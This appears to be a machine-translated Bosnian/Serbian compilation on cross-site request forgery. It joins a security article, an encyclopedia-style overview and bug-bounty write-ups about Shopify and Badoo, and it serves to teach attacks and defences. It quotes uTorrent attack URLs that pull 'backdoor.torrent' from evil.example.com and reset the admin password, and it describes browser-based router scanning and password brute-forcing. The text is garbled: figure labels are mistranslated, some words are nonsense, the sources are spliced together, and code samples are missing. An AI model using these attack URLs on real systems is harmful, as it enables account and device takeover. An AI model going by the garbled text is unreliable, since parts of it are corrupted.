Falsifikovanje zahteva na više lokacija – mnogo buke oko ničega

Aleksandar Antipov

IN U poslednje vreme U zajednici bezbednosti veb aplikacija postoji široka rasprava o „novom“ tipu ranjivosti koji se zove falsifikovanje zahteva na više lokacija (CSRF ili XSRF). Članak na koji skrećemo pažnju čitatelja sadrži opis ove vrste ranjivosti, metode njenog korištenja i glavne pristupe zaštiti.

Sergey Gordeychik

Gordey @ ptsecurity com

Nedavno je bilo mnogo diskusija u zajednici bezbednosti veb aplikacija o „novom“ tipu ranjivosti koji se zove falsifikovanje zahteva na više lokacija (CSRF ili XSRF). Članak na koji skrećemo pažnju čitatelja sadrži opis ove vrste ranjivosti, metode njenog korištenja i glavne pristupe zaštiti. Općeprihvaćeni ruski termin za krivotvorenje zahtjeva na više lokacija još nije uspostavljen, te stoga autor predlaže korištenje opcije „Falsifikovanje HTTP zahtjeva“.

Lirska digresija

Prije svega, želio bih se zadržati na glavnim zabludama povezanim sa CSRF-om:

1. Krivotvorenje HTTP zahtjeva je nova vrsta ranjivosti.

Ovo je daleko od istine. Teorijska razmišljanja o temi lažiranja izvora poruka datiraju iz 1988. godine (http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html), a praktični primjeri ranjivosti raspravljaju se u Bugtraq-u najmanje od 2000. godine (http ://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan). Sam termin uveo je Peter Watkins (http://www.securiteam.com/securitynews/5FP0C204KE.html) 2001. godine.

2. CSRF je varijanta Cross-Site Scripting (XSS).

Jedina sličnost između CSRF i XSS je upotreba klijenata Web aplikacije kao vektora napada (Client-Side Attack u WASC terminologiji http://www.webappsec.org/projects/threat/). CSRF ranjivosti se mogu iskoristiti zajedno sa XSS-om ili "preusmjerivačima" (http://www..php), ali predstavljaju posebnu klasu ranjivosti.

3. CSRF ranjivost nije uobičajena i prilično teška za eksploataciju.

Podaci dobijeni od strane Positive Technologies tokom testiranja penetracije i procene bezbednosti Web aplikacija pokazuju da je većina Web aplikacija podložna ovoj ranjivosti. Za razliku od drugih ranjivosti, CSRF se ne javlja kao rezultat programskih grešaka, već je normalno ponašanje web servera i pretraživača. One. Većina lokacija koje koriste standardnu ​​arhitekturu su prema zadanim postavkama ranjive.

Primjer upotrebe

Pogledajmo upotrebu CSRF-a na primjeru. Pretpostavimo da postoji web aplikacija koja šalje poruke Email. Korisnik zadaje adresu e-pošte i tekst poruke, klikne na dugme Pošalji i poruka sa njegove adrese se šalje primaocu.

Rice. 1. Slanje poruke

Shema je poznata sa mnogih stranica i ne izaziva nikakve zamjerke. Međutim, velika je vjerovatnoća da će navedena aplikacija biti ranjiva na napade krivotvorenja HTTP zahtjeva. Da bi iskoristio ranjivost, napadač može kreirati stranicu na svojoj web stranici koja sadrži link do "slike", a zatim natjerati korisnika da prati vezu do njegove web stranice (na primjer, http://bh.ptsecurity.ru/xcheck /csrf.htm).

Prilikom pristupa stranici, pretraživač korisnika pokušava učitati sliku, zbog čega kontaktira ranjivu aplikaciju, tj. šalje e-poruku primaocu navedenom u polju "za" zahtjeva.

Rice. 2. CSRF napad

Imajte na umu da će korisnikov pretraživač web stranici poslati vrijednost kolačića, tj. zahtjev će se smatrati da dolazi od autentificiranog korisnika. Kako bi natjerao korisnika da učita stranicu koja šalje zahtjev ranjivom serveru, napadač može koristiti metode socijalni inženjering, kao i tehničke ranjivosti kao što je XSS i greške u implementaciji funkcije preusmjeravanja.

Rice. 3. Logika rada CSRF-a

Dakle, CSRF napad uključuje korištenje korisničkog pretraživača za slanje HTTP zahtjeva proizvoljnim stranicama, a ranjivost je neuspjeh u provjeri izvora HTTP zahtjeva. Primjer aplikacije koristi HTTP GET metodu za prosljeđivanje parametara, što napadaču olakšava život. Međutim, nemojte pretpostavljati da korištenje metode POST automatski eliminira mogućnost napada krivotvorenja HTTP zahtjeva. Stranica na serveru napadača može sadržavati gotov HTML obrazac koji se automatski šalje kada se stranica pogleda.

Da bi iskoristio CSRF, napadač ne mora imati vlastiti web server. Stranica koja pokreće zahtjev može se prenijeti putem e-pošte ili na drugi način.

Pregled Billyja Hoffmana pokriva različite metode umrežavanja koristeći Javascript. Svi oni, uključujući XmlHttxmpquest (u nekim situacijama), mogu se koristiti za implementaciju CSRF napada.

Nadam se da je do sada čitalac već shvatio glavnu razliku između CSRF-a i XSS-a. U slučaju XSS-a, napadač dobija pristup DOM-u (Document Object Model) ranjive stranice, kako za čitanje tako i za pisanje. Prilikom izvršavanja CSRF-a, napadač ima mogućnost da pošalje zahtjev serveru koristeći pretraživač korisnika, ali više neće moći primiti i analizirati odgovor servera, a još manje njegovo zaglavlje (na primjer, Cookie). U skladu s tim, “Falsifikovanje HTTP zahtjeva” vam omogućava da radite s aplikacijom u načinu “samo za pisanje”, što je, međutim, sasvim dovoljno za izvođenje stvarnih napada.

Glavne mete CSRF napada su različite interaktivne web aplikacije, kao što su sistemi e-pošte, forumi, CMS, interfejsi daljinski upravljač mrežna oprema. Na primjer, napadač može slati poruke u ime drugih korisnika, dodati nove račune ili promijeniti postavke rutera putem web sučelja.

Rice. 4. Primjer korištenja CSRF-a na forumu

Pogledajmo pobliže posljednju - promjenu postavki mrežni uređaji. Autor se već osvrće na bežične sisteme za detekciju napada, ali naravno, stvar nije ograničena na njih.

Probijamo se kroz perimetar

Prošlog decembra, Symantec je objavio izvještaj o “novom” napadu pod nazivom “Drive-By Pharming”, koji je u suštini varijanta CSRF eksploatacije. Napadač izvršava neku vrstu "magijskog" JavaScripta u korisnikovom pretraživaču koji mijenja postavke rutera, na primjer, postavlja novu vrijednost DNS servera. Da biste izvršili ovaj napad, morate riješiti sljedeće probleme:

Skeniranje portova koristeći JavaScript;

Određivanje tipa web aplikacije (otisak prsta);

Pogađanje lozinke i autentifikacija pomoću CSRF-a;

Promjena postavki hosta pomoću CSRF napada.

Tehnika skeniranja za određivanje dostupnosti web servera i njegovog tipa softvera pomoću JavaScripta je prilično dobro razrađena i svodi se na dinamičko stvaranje HTML objekti (npr. img src=) koji upućuju na različite interne URL-ove (npr. http://192.168.0.1/pageerror.gif). Ako je “slika” uspješno učitana, onda se na testiranoj adresi nalazi web server baziran na Microsoft IIS-u. Ako je odgovor primio grešku 404, onda je port otvoren i na njemu radi web server. Ako je vremensko ograničenje prekoračeno, server nije na mreži ili je port blokiran na zaštitnom zidu. Pa, u drugim situacijama - port je zatvoren, ali je host dostupan (server je vratio RST paket, a pretraživač je vratio grešku prije isteka vremena čekanja). U nekim situacijama, takvo skeniranje portova iz pretraživača korisnika može se izvesti bez upotrebe JavaScripta (http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html).

Nakon što odredi tip uređaja, napadač može pokušati natjerati pretraživač korisnika da odmah pošalje zahtjev za promjenu postavki. Ali takav zahtjev će biti uspješan samo ako pretraživač korisnika već ima aktivnu sesiju autentifikacije s uređaja. Imati pri ruci otvori stranicu Upravljanje ruterom je loša navika mnogih "naprednih" korisnika.

Ako ne postoji aktivna sesija sa interfejsom za upravljanje, napadač treba da se autentifikuje. Ako uređaj implementira autentifikaciju zasnovanu na obrascima, neće nastati nikakvi problemi. Koristeći CSRF u POST-u, serveru se šalje zahtjev za autorizaciju, nakon čega se sa njega učitava slika (ili stranica), dostupna samo autentificiranim korisnicima. Ako je slika primljena, autentifikacija je bila uspješna i možete nastaviti dalje radnje, u suprotnom pokušajte s drugom lozinkom.

Ako napadnuti uređaj implementira osnovnu autentifikaciju, zadatak postaje složeniji. Internet Browser Explorer ne podržava mogućnost navođenja korisničkog imena i lozinke u URL-u (na primjer, http://user: [email protected]). U tom smislu, za obavljanje osnovne provjere autentičnosti, može se koristiti metoda dodavanja HTTP zaglavlja pomoću Flasha, opisana u članku. Međutim, ova metoda funkcionira samo za starije verzije Flasha, koje su sve manje uobičajene.

Ali drugi pretraživači, kao što je Firefox, daju mogućnost navođenja korisničkog imena i lozinke u URL-u i mogu se koristiti za autentifikaciju na bilo kojem serveru, a to se može učiniti bez generiranja poruke o grešci ako je lozinka netačna.

Primer skripte za tihu autentifikaciju koristeći osnovni metod, sa bloga Stefana Essera, dat je ispod.

Firefox HTTP Auth Bruteforcing

Rice. 5. Osnovna autentifikacija u Firefoxu

U korporativnom okruženju u kojem se često koriste SSO mehanizmi, kao što su domeni Aktivni direktorij i Kerberos i NTLM protokoli, iskorištavanje CSRF-a ne zahtijeva dodatne napore. Pretraživač će se automatski autentifikovati u odnosu na sigurnosni kontekst trenutnog korisnika.

Nakon što je autentifikacija prošla, napadač koristi JavaScript za slanje zahtjeva koji mijenja proizvoljne postavke rutera, kao što je adresa DNS servera.

Metode zaštite

Prva stvar koja vam pada na pamet kada je u pitanju CSRF zaštita je provjera vrijednosti Referer zaglavlja. Zaista, budući da krivotvorenje HTTP zahtjeva uključuje prijenos zahtjeva sa treće stranice, kontrola originalne stranice, čija adresa se automatski dodaje u zaglavlja zahtjeva od strane pretraživača, može riješiti problem.

Međutim, ovaj mehanizam ima niz nedostataka. Prvo, programer se suočava s pitanjem obrade zahtjeva koji nemaju Referer zaglavlje kao takvo. Mnogi od ličnih zaštitni zidovi a anonimiziranje proxy servera isključuje Referer kao potencijalno nesigurno zaglavlje. Shodno tome, ako server ignorira sličnih zahtjeva, grupa „najparanoičnijih“ građana neće moći da radi sa njim.

Drugo, u nekim situacijama Referer zaglavlje može biti lažno, na primjer korištenjem već spomenutog Flash trika. Ako korisnik koristi IE 6.0, sadržaj zaglavlja zahtjeva može se modificirati kako bi se iskoristila greška u implementaciji XmlHttxmpquest. Ranjivost leži u mogućnosti korištenja znakova novog reda u nazivu HTTP metode, što omogućava promjenu zaglavlja, pa čak i ubacivanje dodatnog zahtjeva. Ovu ranjivost je otkrio Amit Klein() 2005. godine i ponovo otkrio 2007. Ograničenje ove metode je da radi samo ako postoji HTTP proxy između korisnika i servera, ili ako se serveri nalaze na istoj IP adresi ali sa različitim imenima domena.

Druga uobičajena metoda je dodavanje jedinstvenog parametra svakom zahtjevu, koji server zatim potvrđuje. Parametar se može dodati URL-u kada se koristi GET zahtjev, kao što je u ili kao skriveni parametar obrasca kada se koristi POST. Vrijednost parametra može biti proizvoljna, glavna stvar je da je napadač ne može predvidjeti, na primjer, vrijednost sesije korisnika.

Rice. 6. CSRF zaštita u Bitrixu

Da biste svojoj aplikaciji brzo dodali funkcionalnost provjere CSRF-a, možete koristiti sljedeći pristup:

1. Dodajte mali JavaScript na svaku generiranu stranicu, dodajući dodatni skriveni parametar svim obrascima, kojem je dodijeljena vrijednost Cookie.

2. Provjerite na serveru da podaci koje klijent šalje POST metodom sadrže vrijednost jednaku trenutnoj vrijednosti kolačića.

Primjer takve klijentske skripte je dat u nastavku:

Dalji razvoj ovog pristupa je pohranjivanje identifikatora sesije ne u kolačić, već kao skriveni parametar obrasca (na primjer, VIEWSTATE).

Kao metoda suprotstavljanja CSRF-u, mogu se koristiti različite verzije Turingovih testova, na primjer, dobro poznate slike - CAPTCHA. Još jedna popularna opcija je zahtijevanje korisničke lozinke prilikom promjene kritičnih postavki.

Rice. 7. CSRF zaštita na mail.ru

Dakle, krivotvorenje zahtjeva na više lokacija je napad usmjeren na klijenta web aplikacije i koristi nedovoljnu verifikaciju izvora HTTP zahtjeva. Da bi se zaštitili od takvih napada, može se koristiti dodatna kontrola izvora zahtjeva na osnovu zaglavlja Referer ili dodatnog "slučajnog" parametra.

Sergey Gordeychik radi kao sistemski arhitekta u kompaniji Positive Technologies, gdje se specijalizirao za sigurnost aplikacija, bežične i mobilne tehnologije. Autor je ujedno i vodeći programer za sigurnost bežične mreže“, „Analiza i procjena sigurnosti web aplikacija” Centra za obuku Informzashita. Objavio nekoliko desetina članaka u “Windows IT Pro/RE”, SecurityLabu i drugim publikacijama. Član je projekata konzorcijuma za sigurnost web aplikacija (WASC).

Falsifikovanje zahteva na više lokacija, takođe poznato kao napad jednim klikom ili disk sesije i skraćeno kao CSRF (ponekad izraženo plimna bušotina slušaj)) ili XSRF, je vrsta zlonamjernog softvera koji se iskorištava sa web stranice gdje se neovlaštene komande šalju od korisnika kojem web aplikacija vjeruje. Postoji mnogo načina na koje zlonamjerna web stranica može prenijeti takve naredbe; Na primjer, posebno izrađene oznake slika, skrivene forme i JavaScript XMLHttpRequests mogu raditi bez interakcije korisnika ili čak znanja. Za razliku od skriptiranja na više lokacija (XSS), koje iskorištava povjerenje koje korisnik ima za određenu lokaciju, CSRF iskorištava povjerenje koje stranica ima u korisnikovom pretraživaču.

priča

CSRF ranjivosti su poznate iu nekim slučajevima iskorišćavane od 2001. Pošto se vrši sa IP adrese korisnika, neke evidencije veb lokacija možda nemaju dokaz o CSRF-u. Eksploati su potcijenjeni od strane najmanje javno, a od 2007. bilo je nekoliko dobro dokumentiranih primjera:

• Netflixova web stranica je 2006. godine imala brojne CSRF ranjivosti koje su mogle omogućiti napadaču da izvrši radnje kao što je dodavanje DVD-a u red za iznajmljivanje žrtve, promjena adrese za isporuku na računu ili promjena akreditiva za prijavu žrtve kako bi se u potpunosti kompromitirao račun.
• Web aplikacija za online bankarstvo ING Direct bila je ranjiva na CSRF napade, omogućavajući ilegalne transfere novca.
• Popularni video veb sajt YouTube je takođe bio ranjiv na CSRF 2008. godine, a to je omogućilo svakom napadaču da izvede skoro sve što je svaki korisnik mogao da uradi.
• McAfee je takođe ranjiv na CSRF, što je omogućilo napadačima da modifikuju sistem svoje kompanije.

U 2018. izvršeni su novi napadi na web uređaje, uključujući pokušaje promjene DNS postavke ruteri. Neki proizvođači rutera požurili su da objave ažuriranja firmvera kako bi poboljšali sigurnost i savjetovali su korisnike da promijene postavke rutera kako bi smanjili rizik. Detalji nisu objavljeni, pozivajući se na "očigledne sigurnosne razloge".

Primjer i karakteristike

Napadači koji mogu pronaći reproducibilnu vezu koja izvodi određenu radnju na odredišnoj stranici dok se žrtva registruje mogu ugraditi takav link na stranicu koju kontroliraju i prevariti žrtvu da je otvori. Link za medije napada može se postaviti na lokaciju koju će žrtva najvjerovatnije posjetiti tako što će se prijaviti na ciljnu stranicu (kao što je diskusija na forumu) ili poslati u tijelu HTML e-pošte ili priloga. Stvarna CSRF ranjivost u UTorrent-u (CVE-2008-6586) iskoristila je činjenicu da je njegova web konzola dostupna na localhost:8080 omogućavajući izvođenje kritičnih radnji jednostavnim GET zahtjevom:

Prisilno preuzimanje .torrent datoteke http://localhost:8080/gui/action=add URL&s=http://evil.example.com/backdoor.torrent Promjena administratorske lozinke za Utorrent http://localhost:8080/gui/action = setsetting & s = webui.password & v = eviladmin

Napadi su pokrenuti postavljanjem zlonamjernih, automatiziranih HTML elemenata slike na forume i neželjenu e-poštu, tako da bi ih pretraživači koji posjećuju ove stranice otvarali automatski, bez mnogo radnje od strane korisnika. Ljudi koji koriste ranjivu verziju Utorrenta u isto vrijeme kada otvaraju ove stranice bili su podložni napadu.

CSRF napadi pomoću oznaka slika često se vrše sa internet foruma na kojima korisnici mogu postavljati slike, ali ne i JavaScript, na primjer koristeći BBKod:

Http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Kada pristupate linku za napad na lokalnoj Utorrent aplikaciji na localhost:8080, pretraživač će također automatski poslati sve postojeće kolačiće za tu domenu. Ovo zajedničko svojstvo web pretraživača omogućava CSRF napadima da iskoriste svoje ciljne ranjivosti i izvode neprijateljske radnje sve dok je korisnik prijavljen na ciljnu web stranicu (u ovom primjeru lokalni web- Utorrent interfejs) u trenutku napada.

Krivotvorenje zahtjeva na više lokacija je zbunjujući proxy napad na web pretraživač.

CSRF obično ima sljedeće karakteristike:

• Uključuje web stranice koje se oslanjaju na korisnički identitet.
• Iskorištava povjerenje stranice u ovaj identitet.
• Prevari korisnikov pretraživač da pošalje HTTP zahteve na ciljnu lokaciju.
• To uključuje HTTP zahtjevi koji imaju nuspojave.

HTTP glagoli i CSRF

• U HTTP GET-u, eksploatacija CSRF-a je trivijalna, koristeći metode opisane iznad, kao što je jednostavna hiperveza koja sadrži manipulisane parametre i automatski se učitava pomoću IMG oznake. Međutim, prema HTTP specifikaciji, GET bi se trebao koristiti kao siguran metod, to jest, bez značajnije promjene stanja korisnika u aplikaciji. Aplikacije koje koriste GET za takve operacije trebale bi se prebaciti na HTTP POST ili koristiti CSRF zaštitu.
• HTTP POST ima različite CSRF ranjivosti, u zavisnosti od detaljnih slučajeva upotrebe:
  • U svom najjednostavnijem obliku, POST sa podacima kodiranim kao string upita (polje1=value1&field2=value2) CSRF napad se lako implementira korišćenjem jednostavnog HTML obrasca i moraju se primeniti anti-CSRF mere.
  • Ako se podaci šalju u bilo kom drugom formatu (JSON, XML) standardna metoda je izdavanje POST zahtjeva koristeći XMLHttpRequest sa CSRF napadima koje sprječavaju SOP i ; postoji metoda za podnošenje proizvoljnog sadržaja iz jednostavnog HTML obrasca pomoću atributa ENCTYPE; takav lažni zahtjev može se razlikovati od legitimnih po tipu teksta/običnog sadržaja, ali ako se to ne izvrši na serveru, CSRF se može izvršiti
• druge HTTP metode (PUT, DELETE, itd.) mogu se izdati samo koristeći XMLHttpRequest sa SOP i CSRF prevencijom; Međutim, ove mjere neće biti aktivne na web lokacijama koje ih eksplicitno onemogućuju pomoću zaglavlja Access-Control-Allow-Origin: *

Drugi pristupi CSRF-u

Osim toga, iako se tipično opisuje kao statički tip napada, CSRF se također može dinamički konstruirati kao dio korisnog opterećenja za scenarije napada na više lokacija, kao što je demonstrirao Samy crv, ili konstruirati u hodu od informacija o sesiji koje su procurile preko sadržaja van lokacije i poslano na cilj kao zlonamjerni URL. CSRF tokene također može poslati zlonamjerni klijent zbog fiksacije sesije ili drugih ranjivosti, ili pogoditi putem napada grube sile preveden na zlonamjernu stranicu koja generiše hiljade neuspjelih zahtjeva. Klasu napada "Dynamic CSRF", ili korištenje tereta po klijentu za lažiranje specifično za sesiju, opisali su 2009. Nathan Hamiel i Sean Moyer na BlackHat brifinzima, iako taksonomija tek treba dobiti širu upotrebu.

Novi vektor za sastavljanje dinamičkih CSRF napada predstavio je Oren Ofer na lokalnom sastanku OWASP poglavlja u januaru 2012. - "AJAX Hammer - Dynamic CSRF".

Posljedice

Indikatori ozbiljnosti su izdati za CSRF ranjivosti koje dovode do udaljenog izvršavanja koda sa root privilegijama, kao i za ranjivost koja može ugroziti root certifikat, što bi u potpunosti potkopala infrastrukturu javnog ključa.

Ograničenja

Nekoliko stvari se mora dogoditi da bi zahtjev za krivotvorenje na više lokacija uspio:

Napadač mora ciljati ili web lokaciju koja ne provjerava zaglavlje upućivača ili žrtvu koristeći pretraživač ili dodatak koji dozvoljava lažiranje upućivača.

Napadač mora pronaći obrazac za podnošenje na ciljnoj stranici ili URL-u koji ima nuspojave nečega (kao što je prijenos novca ili promjena adrese e-pošte ili lozinke žrtve).

Napadač mora odrediti ispravne vrijednosti za sve forme ili URL unose; ako bi bilo koji od njih imao tajne vrijednosti autentifikacije ili identifikatore koje napadač ne bi mogao pogoditi, napad bi vjerovatno propao (osim ako je napadač imao veliku sreću u svom nagađanju).

Napadač mora namamiti žrtvu na web stranicu koja sadrži zlonamjerni kod dok se žrtva prijavljuje na ciljnu stranicu.

Napad je slijep: napadač ne može vidjeti šta ciljna lokacija šalje nazad žrtvi kao odgovor na krivotvorene zahtjeve osim ako ne iskorištava Cross-Site Scripting ili neku drugu grešku na ciljnoj lokaciji. Uz to, napadač može ciljati samo bilo koju vezu ili poslati bilo koje obrasce koji dolaze nakon početnog krivotvorenog zahtjeva, sve dok su te naknadne veze ili obrasci na sličan način predvidljivi. (Više ciljeva se može simulirati uključivanjem više slika na stranicu ili korištenjem JavaScripta za uvođenje kašnjenja između klikova.)

S obzirom na ova ograničenja, napadač može imati poteškoća u pronalaženju anonimnih identiteta žrtava ili ranjivog oblika predstavljanja. S druge strane, pokušaji napada se lako montiraju i žrtve ih ne otkrivaju, a programeri aplikacija su manje upoznati i pripremljeni za CS napade nego za, recimo, napade rječnika za probijanje lozinki.

prevencija

Većina CSRF metoda prevencije funkcionira tako što se u zahtjeve ugrađuju dodatni podaci za autentifikaciju, što omogućava web aplikaciji da otkrije zahtjeve s neovlaštenih lokacija.

Model markera sinhronizatora

• Nakon prijave, web aplikacija postavlja kolačić koji sadrži nasumični token koji ostaje nepromijenjen tijekom sesije korisnika

Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Čet, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Put=/

• JavaScript koji radi na strani klijenta čita vrijednost i kopira je u prilagođeno HTTP zaglavlje koje se šalje sa svakim transakcijskim zahtjevom

X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql

• Server provjerava prisutnost i integritet tokena

Sigurnost ove metode zasniva se na pretpostavci da će samo JavaScript koji se pokreće unutar istog porijekla moći pročitati vrijednost kolačića. JavaScript koji radi sa lažnom datotekom ili adresom e-pošte neće moći čitati i kopirati u prilagođeno zaglavlje. Iako će kolačić CSRF tokena biti automatski poslan sa lažnim zahtjevom, server će i dalje očekivati ​​važeće zaglavlje X-CSRF tokena.

Sam CSRF token mora biti jedinstven i nepredvidiv. Ovo se može generirati nasumično ili se može dobiti iz tokena sesije koristeći HMAC:

Csrf_token = HMAC(token_sesije, tajna_aplikacije)

CS token kolačića ne bi trebao imati oznaku HTTPOnly jer je namijenjen za čitanje JavaScript dizajnom.

Ovu metodu implementiraju mnogi moderni okviri kao što su Django i AngularJS. Budući da token ostaje postojan tokom sesije korisnika, dobro radi sa AJAX aplikacijama, ali ne obezbeđuje sekvenciranje događaja u veb aplikacijama.

Zaštita koju pruža ova metoda može biti osujećena ako ciljna web stranica onemogući politiku istog porijekla koristeći jedan od sljedećih metoda:

• Permissive Access-Control-Allow-Origin zaglavlje (sa argumentom zvjezdicom)
• clientaccesspolicy.xml datoteka koja daje nenamjeran pristup Silverlight kontrolama
• crossdomain.xml datoteka koja pruža nenamjeran pristup Flash filmovima

Double Send Cookie

Slično pristupu kolačića do zaglavlja, ali bez uključenog JavaScripta, web lokacija može postaviti CSRF token kao kolačić, a također ga umetnuti u skriveno polje u svakom HTML forma, poslao klijent. Kada se obrazac pošalje, stranica može provjeriti da li marker kolačića odgovara obliku markera. Politika zajedničkog porijekla sprječava napadača da čita ili postavi kolačiće na ciljnu domenu, tako da ne može postaviti važeći token u njihov izrađeni oblik.

Prednost ove metode u odnosu na obrazac sinhronizatora je u tome što token ne mora biti pohranjen na serveru.

Garancije klijenta

Ekstenzije pretraživača kao što su RequestPolicy (za Mozilla Firefox) ili Umatrix (i za Firefox i Google Chrome/Chromium) mogu spriječiti CSRF pružanjem zadane politike odbijanja za zahtjeve na više lokacija. Međutim, to može značajno ometati normalan rad mnogih lokacija. Ekstenzija CsFire (također za Firefox) može ublažiti uticaj CSRF-a sa manjim uticajem na normalno pregledanje uklanjanjem informacija o autentifikaciji iz zahteva za više lokacija.

Cross Site Request Forgery, ili CSRF, je napad koji se javlja kada zlonamjerna stranica, e-pošta, poruka, aplikacija ili bilo šta drugo uzrokuje da korisnikov pretraživač izvrši neku radnju na drugoj lokaciji na kojoj je taj korisnik već autentifikovan. Često se to dešava bez znanja korisnika.

Šteta uzrokovana CSRF napadom zavisi od lokacije koja je primila akciju. Evo primjera:

Bob ulazi u svoj lični račun u klijentu za online bankarstvo, obavlja neke operacije, ali se ne odjavljuje.

Bob provjerava svoju e-poštu i klikne na vezu koja ga vodi na nepoznatu stranicu.

Nepoznata stranica postavlja zahtjev online klijentu Bobove banke za prijenos novca, prosljeđujući informacije Bobovom kolačiću koji je sačuvan iz njegove prethodne sesije.

Stranica Bobove banke prihvata zahtjev sa nepoznate (zlonamjerne) stranice bez korištenja CSRF tokena i vrši prijevod.

Još zanimljivija situacija je kada je veza na zlonamjernu
stranica može biti sadržana u važećem HTML-u, zahvaljujući čemu Bo-
Ne morate čak ni kliknuti na link: . Ako Bobov uređaj (na primjer, preglednik) renderira
Ova slika će uputiti zahtjev malicious_site.com i potencijalno uzrokovati CSRF napad.

Sada kada ste svjesni opasnosti od CSRF napada, možete se zaštititi od njih na više načina, od kojih je možda najpopularniji korištenje CSRF tokena, koji se mora poslati sa svakim zahtjevom koji bi potencijalno mogao izmijeniti podatke ( kao što su POST zahtjevi). Web aplikacija (kao što je Bobovo online bankarstvo) će morati generirati token koji se sastoji od dva dijela, od kojih će jedan primiti, a drugi će biti pohranjen u aplikaciji.

Kada Bob pokuša uputiti zahtjev za prijenos novca, morat će poslati token, koji će banka provjeriti valjanost koristeći token pohranjen u aplikaciji.

Sada kada znamo za CSRF i CSRF tokene, dijeljenje više izvora (CORS) ima više smisla, iako sam to možda tek primijetio dok sam istraživao nove ciljeve. Generalno, CORS ograničava listu resursa koji mogu pristupiti podacima. Drugim riječima, kada se CORS koristi za osiguranje lokacije, možete napisati Javascript da pozovete ciljnu aplikaciju, pročitate odgovor i uputite drugi poziv ako vam ciljna lokacija to dozvoljava.

Ako vam ovo izgleda zbunjujuće, pokušajte koristiti Javascript da pozovete HackerOne.com/activity.json, pročitajte odgovor i uputite drugi poziv. Također ćete vidjeti važnost ovoga i potencijalna rješenja u primjeru #3 ispod.

Na kraju, važno je napomenuti (hvala Jobertu Abmi što je ovo ukazao) da nije svaki zahtjev bez CSRF tokena nevažeći. Neke web lokacije mogu izvršiti dodatne provjere, kao što je poređenje izvornog zaglavlja (iako nije zajamčeno da će to biti sigurno i postoje poznati slučajevi zaobilaženja). Ovo je polje koje identifikuje adresu stranice koja vodi ka traženom resursu. Drugim riječima, ako strana koja potiče (preporučilac)

izvrši POST poziv sa stranice koja nije ista lokacija koja je primila HTTP zahtjev, lokacija možda neće dozvoliti da poziv postigne isti učinak kao korištenje CSRF tokena. Osim toga, ne koristi svaka web lokacija csrf termine prilikom kreiranja ili definiranja tokena. Na primjer, na Badoou ovo je rt parametar, kao što je opisano u nastavku.

Pročitajte vodič za OWASP testiranje za CSRF

Primjeri 1. Izvoz instaliranih Shopify korisnika

Težina: Niska
Url: https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users

Opis:

Shopify API pruža krajnju tačku za izvoz liste instaliranih korisnika preko URL-a prikazanog iznad. Ranjivost je bila u tome što je lokacija mogla uputiti zahtjev ovoj krajnjoj tački i primiti informacije kao odgovor, budući da

Shopify nije koristio CSRF token da potvrdi ovaj zahtjev. Kao rezultat toga, sljedeći HTML kod mogao bi se koristiti za podnošenje obrasca u ime nesuđene žrtve.

1 2 csrf 3 4 7 8 9

U ovom primjeru, jednostavnom posjetom Javascript stranicešalje obrazac koji uključuje GET zahtjev Shopify API-ju koristeći Shopify kolačiće postavljene u pretraživaču žrtve.

zaključci

Povećajte obim svojih napada i potražite greške ne samo na web stranici, već iu API-ju. Krajnje tačke API-ja su također potencijalni put za eksploataciju, tako da je vrijedno to imati na umu, posebno ako znate da je API možda razvijen ili dostupan nakon kreiranja web sučelja.

2. Isključite Shopify sa Twitterom

Težina: Niska
Url: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect

Shopify pruža integraciju s Twitterom koja omogućava vlasnicima trgovina da tvitnu o svojim proizvodima. Slično, usluga vam omogućava da prekinete vezu između Twitter naloga i povezane prodavnice.

URL za onemogućavanje vašeg Twitter naloga iz prodavnice je naveden iznad. Prilikom podnošenja zahtjeva, Shopify nije potvrdio CSRF token, što je omogućilo napadaču da kreira lažni link koji bi, kada bi se kliknuo, uzrokovao da nesuđeni vlasnik trgovine isključi svoju trgovinu s Twitter-a.

U opisu ranjivosti, WeSecureApp je dao sljedeći primjer ranjivog zahtjeva; imajte na umu da upotreba img oznake upućuje poziv na ranjivi URL:

1 GET /auth/twitter/disconnect HTTP/1.1 2 Host: twitter-commerce.shopifyapps.com 3 Korisnički agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.1 4 1; rv:43.0) Gecko/20100101 Firefox/44 5 Prihvati: text/html, application/xhtml+xml, application/x 6 ml 7 Prihvati-jezik: en-US,en;q=0,5 8 Prihvati-kodiranje: gzip, deflate 9 Referent: https://twitter-commerce .shopifyapps.com/accou 10 nt 11 Kolačić: _twitter-commerce_session=REDIGOVANO 12 >Veza: Keep-alive

Budući da pretraživač postavlja GET zahtjev za preuzimanje slike sa proslijeđenog URL-a, a CSRF token nije validiran, prilagođena trgovina je sada onemogućena:

1 2 3 5 6

zaključci

U ovoj situaciji, opisana ranjivost je mogla biti pronađena korištenjem proxy servera kao što su Burp ili Firefox Tamper Data, samo gledanjem zahtjeva poslanog Shopifyju i uvidom da je zahtjev napravljen pomoću GET zahtjeva. Pošto je ovo bilo ometajuće i GET zahtjevi ne bi trebali promijeniti podatke na serveru, vrijedi istražiti.

3. Završite preuzimanje računa na Badoo-u

Težina: Srednja
Url: https://badoo.com
Link za prijavu: https://hackerone.com/reports/12770312
Datum izvještaja: 1. april 2016
Isplaćena nagrada: $852

Opis:

Ako pogledate Badoo, oni štite od CSRF-a tako što uključuju rt parametar u URL, koji ima samo 5 znakova (barem u vrijeme pisanja). Iako sam to primijetio kada je Badoo pokrenuo kampanju na HackerOne-u, nisam našao način da to iskoristim. Međutim, Mahmoud Jamal (zombiehelp54) ga je pronašao.

Nakon što je shvatio značenje rt parametra, također je primijetio da je parametar vraćen u gotovo svim json odgovorima. Nažalost, ovo nije bilo dobro jer CORS čitanjem ovih odgovora štiti Badoo od napada. Mahmud je nastavio potragu.

Ispostavilo se da datoteka https://eu1.badoo.com/worker-scope/chrome-ser sadrži vrijednost rt. Ono što je bilo još bolje je taj fajl
napadač je mogao proizvoljno pročitati i nije zahtijevao
žrtva ne poduzima ništa osim posjete zlonamjernoj web stranici. Evo koda koji je dao:

